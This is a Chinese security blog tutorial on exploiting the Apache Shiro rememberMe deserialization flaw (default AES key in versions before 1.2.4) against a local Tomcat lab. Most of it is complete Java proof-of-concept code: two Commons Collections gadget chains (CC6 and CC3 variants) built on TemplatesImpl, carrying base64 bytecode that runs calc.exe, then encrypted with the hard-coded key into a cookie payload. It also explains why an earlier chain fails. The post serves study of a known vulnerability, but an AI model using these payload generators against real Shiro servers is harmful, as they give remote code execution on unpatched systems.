Java篇之利用TemplatesImpl攻击Shiro

利用TemplatesImp攻击Shiro

这篇文章虽然写的是攻击Shiro,但实际上跟shiro关系不算特别大,主要是利用TemplatesImpl构造一条cc的链子,其实我们都已经有CommonsCollections6这样可以通杀的利用链了,那么为什么还需要TemplatesImpl这种呢?因为TemplatesImpl理论上是可以执行任意Java代码的,通用性非常高

Shiro反序列化是什么

其实我对Shiro也不是很了解,硬着头皮来写这篇文章,但这不影响来理解Shiro反序列化的原理,因为它的原理其实挺简单的:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化;照理说加密过后应该是很安全的,但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的代码,然后放入CookierememberMe字段中,进而触发反序列化漏洞

环境搭建

这里因为需要用到Shiro登录啥的,所以说还是需要一个简单的环境的,还好p神帮我们都搞好了,这里必须说p神yyds,没有他这个Java安全是真的难学,给出p神项目的地址:<JavaThings/shirodemo at master · phith0n/JavaThings · GitHub>,直接把文件夹shirodemo下载下来用idea打开就好了,这里需要进行个maven换源,网上找一个就行,然后我就遇到了个很坑的问题,因为我的本地仓库是在c盘的,所以说非管理员用户是没有修改权限的,这里是真的坑,所以说需要修改权限的,还好找到了篇好文章,如下图:

image.png

成功解决,然后用mvn package将这个项目打包成war包,放到Tomcat的webapps目录下,然后打开Tomcat,访问http://localhost:8080/shirodemo/,就可以跳转到登录页面了:

image.png

输入正确的账号密码:root/secret,就可以成功登录,这里我们抓个包,记得勾选Remember me

image.png

可以看到服务器返回了我们一个rememberMeCookie,肯定是加密过的

攻击流程

因为ShiroCookie的处理方式是先将其base64解码,然后再AES解码,最后进行反序列化;所以说我们要构造payload的顺序就是先进行序列化,再AES加密,然后Base64加密,所以说其实构造的核心就是找到AES的密钥,而且shiro 1.2.4之前密钥是默认的,这就让Shiro反序列化的利用难度瞬间降低,而默认的密钥在org.apache.shiro.mgt.AbstractRememberMeManager

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

开始构造

那我们接下来我们就来写POC了,这里我们先用cc6的链子试试吧,前面的代码和cc6是一样的,大家可以参考我前面的文章,这里主要是要写一个加密,在shiro类中有一个内置类AesCipherService,这个类中有一个encrypt方法,只要告诉它明文和密钥它就可以直接加密了,这里我就直接写在主函数里面了,可能要方便理解一点儿吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(transformerChain,transformers);

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

//加密
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}

加密的代码在最下面,这里的内容如果看不太懂的话,建议回去复习一下前面的内容哦

运行这一段代码,它就会生成一段base64字符串,直接用这段poyload放burp里去打,发送给shiro

咦,并没有弹出计算器,而且这时候去看Tomcat,还有报错:

image.png

异常分析

那么为什么会出现这个异常呢?其实这问题我也不算特别了解,因为我对Shiro也不算很熟,但是这里得报错内容是:Unable to load class named [[Lorg.apache.commons.collections.Transformer;],意思是说不能加载Transform[]数组,原因我就不太清楚了,这里直接给出p神的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

构造不含数组的反序列化链

所以说,咱现在得想办法不用Transform[]数组,这时候我们就应该想到前面用TemplatesImpl构造的cc3的链子,这里我们还是使用InvokerTransformer,其中的数组只有两个元素,复习复习代码:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};

这个数组虽然说只有两个元素,但它好歹也算个数组呀,还是不符合条件,那我们就得想办法去掉这个数组中的一个元素,那么不就可以了?后面那个执行命令的InvokerTransformer肯定是没办法去掉的,但是前面那个用来返回对象的ConstantTransformer,我们有没有机会去掉呢?继续往下看哈

我们先来回顾一下InvokerTransformer类中的transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

可以看到,它执行的是input对象中的iMethodName方法,而前面我们是通过ConstantTransformer将对象传进来的,那这里我们能不能直接传呢,接着往前看,看看LazyMap中的get方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

这里很惊奇的发现,这个key,居然被当作参数传了进去,this.factory.transform(key),那么假如这个key就是前面我们想要通过ConstantTransformer传进来的对象,那我们不就可以执行这个对象中的方法了吗,简直是太妙了哈哈哈

那么我们就可以去掉前面那个new ConstantTransformer(obj)了,这样子数据中的元素个数也就降为1了,也就不用数组了,而且由于只有一个了,连ChainedTransformer都用不着了

InvokerTransformer版(cc6)

接下来我们看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass",null,null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap,obj);

Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.clear();

setFieldValue(transformer,"iMethodName","newTransformer");

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

//加密
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}

其实挺好理解的吧,就是在构造TiedMapEntry的时候把obj对象传进去,传在key的位置上就好了,还是先传入一 个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发,最后,将InvokerTransformer的方法从人畜无害的getClass,改成 newTransformer ,就搞定了,运行它得到base64字符串,直接去打:

image.png

弹出计算器,完美,这个算是cc6的链子,因为用了InvokerTransformer,接下来看看cc3的链子

InstantiateTransformer版(cc3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });
Transformer fakeTransformers=new ConstantTransformer(1);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);

TiedMapEntry tme = new TiedMapEntry(outerMap,TrAXFilter.class);

Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.clear();

setFieldValue(outerMap,"factory",transformer);

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

//加密
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}

image.png

很漂亮,原理都是一样的,这里把TrAXFilter.class传进来就好了

好累呀好累呀 回去躺平咯

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信